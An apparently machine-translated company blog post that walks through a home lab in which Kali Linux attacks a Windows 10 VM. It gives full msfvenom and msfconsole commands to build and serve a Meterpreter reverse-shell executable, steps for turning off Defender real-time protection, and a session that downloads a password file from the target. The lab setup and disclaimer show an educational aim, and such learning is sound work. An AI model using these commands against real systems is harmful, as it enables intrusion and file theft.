I want to know the attack method and become a person with high security awareness. Because it's in front of the building, hackers are cool, aren't they? I started practicing hacking with the motive.
It is the 4th day of the Advent calendar of PRO Co., Ltd. It's not about making something, but please forgive me for saying "I wish I had it!" ...
Build a Windows experimental environment with a VM, and attack and remotely control it from another environment (Kali Linux). It's longer, but there are more images.
This article does not recommend cyber attacks such as unauthorized access. Please do not apply the contents introduced here to the external environment.
First, build an attack terminal and a target terminal with a VM. This time, it was done in the following environment.
--Host OS: macOS 10.15.2 Beta --Guest OS --Attack terminal: Kali Linux 5.3.0-kali2-amd64 --Target terminal: Windows 10 --Virtualization software: VirtualBox 6.0.14 r133895 (Qt5.6.3)
Kali Linux is a Linux distribution used for penetration testing. It is based on Debian and comes pre-installed with over 300 penetration testing tools.
I will use Kali Linux this time, but it is okay to install the attack tool on the OS you are familiar with.
Download the Kali Linux image from the following page. https://www.kali.org/downloads/ This time, I downloaded "Kali Linux 64-Bit".
In this article, I will omit the detailed installation method.
Download the Windows 10 ISO file from the following page. https://www.microsoft.com/ja-jp/software-download/windows10ISO
Create a virtual machine from a new VirtualBox. It's done.
--Start the Windows 10 virtual machine. --Select the installed ISO file on the "Select Boot Hard Disk" screen. --Proceed with the initial settings according to the screen. Click "No product key" on the activation screen. For the installation type, select "Custom: Install Windows only". On the authentication screen, click "Offline account" to prevent the motivation file from being synchronized with other Windows devices. Disable all in the device privacy settings selection. If the desktop screen is displayed, the setting is complete.
--Remove ISO file from virtual drive Quit Windows 10 once and open VirtualBox Settings> Storage. Click the disk icon to the right of the optical drive and select Remove Disk from Virtual Drive.
You're ready to go!
This attack experiment will be conducted in the following environment. The attack terminal and the target terminal are in the same network.
|Kali Linux (attack terminal)||10.0.0.2|
|Windows10 (target terminal)||10.0.0.102|
Create a reverse shell in Metasploit Framework and run it on the target device.
It is an open source penetration testing tool that can perform a series of server intrusions such as investigation, intrusion, attack, and backdoor installation / connection. It is provided by default on Kali Linux.
A payload is an executable code that behaves maliciously. This time, we will create a TCP reverse shell payload.
The following command will create a TCP reverse shell targeting 64-bit windows and specifying the connection destination as the attack terminal (10.0.0.2).
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /root/Desktop/evil.exe
The created payload needs to be executed by the target terminal in some way. This time, start Apache so that it can be accessed from the browser of the target terminal.
# mkdir /var/www/html/share # cp /root/Desktop/evil.exe /var/www/html/share/ # service apache2 restart
Access http://10.0.0.2/share from the browser on the windows10 side.
I have confirmed that evil.exe exists, so I will download it.
When I clicked evil.exe and chose to run it, it failed because it was detected as a virus by Windows Defender Antivirus.
Clicking on the notification at the bottom right reveals the name Trojan, which I've heard, and I'm a little excited.
When I selected "Allow" from "Operation" and tried to save it again, the display changed. In this state, click Run to save.
Then turn off "real-time protection" in the Windows Defender Security Center and download again. Please refer to here (https://121ware.com/qasearch/1007/app/servlet/relatedqa?QID=018503) for the detailed setting method.This time, the download was successful without any warning.
When you open the folder, you can see that there are two files, one saved when real-time protection is on (evil.exe) and one saved when real-time protection is off (evil (1) .exe).
Execute the following command on the attacking terminal and wait for the connection by the reverse shell.
# msfconsole <----input [-] ***Rting the Metasploit Framework console...\ [-] * WARNING: No database support: No database YAML file [-] *** .,,. . .\$$$$$L..,,==aaccaacc%#s$b. d8, d8P d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88' d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P 88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88 .a#$$$$$$"` 88b d8P 88b`?8888P' ,s$$$$$$$"` 888888P' 88n _.,,,ass;: .a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$' .a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$' ,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS' .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$' _______________________________________________________________ ,&$$$$$$'_____ ll&&$$$$' .;;lll&&&&' ...;;lllll&' ......;;;llll;;;.... ` ......;;;;... . . =[ metasploit v5.0.62-dev ] + -- --=[ 1949 exploits - 1090 auxiliary - 334 post ] + -- --=[ 558 payloads - 45 encoders - 10 nops ] + -- --=[ 7 evasion ] msf5> use exploit / multi / handler <---- input msf5 exploit (multi / handler)> set payload windows / x64 / meterpreter / reverse_tcp <---- input payload => windows/x64/meterpreter/reverse_tcp msf5 exploit (multi / handler)> set LHOST 10.0.0.2 <---- input LHOST=>10.0.0.2 msf5 exploit (multi / handler)> exploit -j -z <---- input [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 10.0.0.2: 4444 <---- Start listening msf5 exploit(multi/handler) >
###Run the payload on the target terminal
Execute the payload on the Windows side. The one downloaded when real-time protection is on and the one downloaded when real-time protection is off are executed a total of four times in the pattern of the real-time protection on and off, respectively.
Real-time protection enabled
Real-time protection disabled
Real-time protection enabled
|Attack failure||Attack failure|
Real-time protection disabled
|Attack failure||Successful attack|
All of them give a warning at runtime, but details>Forcibly execute by execution.
Click here for the screen at the time of failure.
If successful, the following will be displayed on the attacking console.
msf5 exploit(multi/handler) > [*] Sending stage (206403 bytes) to 10.0.0.102 [*] Meterpreter session 2 opened (10.0.0.2:4444 -> 10.0.0.102:49975) at 2019-12-04 09:08:01 +0900
In this state, press Enter and then use the sessions command to display the session list.
msf5 exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 2 meterpreter x64/windows DESKTOP-4V3PT8F\arakawa @ DESKTOP-4V3PT8F 10.0.0.2:4444 -> 10.0.0.102:49975 (10.0.0.102)
Attack environment (10.0.0.2) to target environment (10).0.0.The connection to 102) was confirmed.
###Remote control at Meterpreter prompt
Then password for experiment.Create a txt file on the Windows side.
Display the Meterpreter prompt by specifying the session ID on the attacker side.
msf5 exploit(multi/handler) > sessions -i 2 [*] Starting interaction with 2... meterpreter >
password.Find and download txt.
meterpreter > pwd C:\Users\arakawa\Downloads meterpreter > ls Listing: C:\Users\arakawa\Downloads =================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 282 fil 2019-12-01 21:24:25 +0900 desktop.ini 100777/rwxrwxrwx 7168 fil 2019-12-04 08:21:32 +0900 evil (1).exe 100777/rwxrwxrwx 7168 fil 2019-12-04 09:07:02 +0900 evil.exe 100666/rw-rw-rw- 8 fil 2019-12-04 09:15:30 +0900 password.txt meterpreter > download password.txt [*] Downloading: password.txt -> password.txt [*] Downloaded 8.00 B of 8.00 B (100.0%): password.txt -> password.txt [*] download : password.txt -> password.txt meterpreter >
Open another terminal and make sure you have downloaded it.
[email protected]:~# ls -la password.txt -rw-r--r-- 1 root root 8 Dec 4 09:15 password.txt
I was able to download it safely (?)! !!
I used Kali Linux to attack Windows 10 and conducted remote control experiments. It was surprising that it was easier than I expected. Personally, I think it's a harvest to realize that Windows Defender is doing a good job.
The next step is to create a backdoor, spoof the payload, and much more, so I might write more.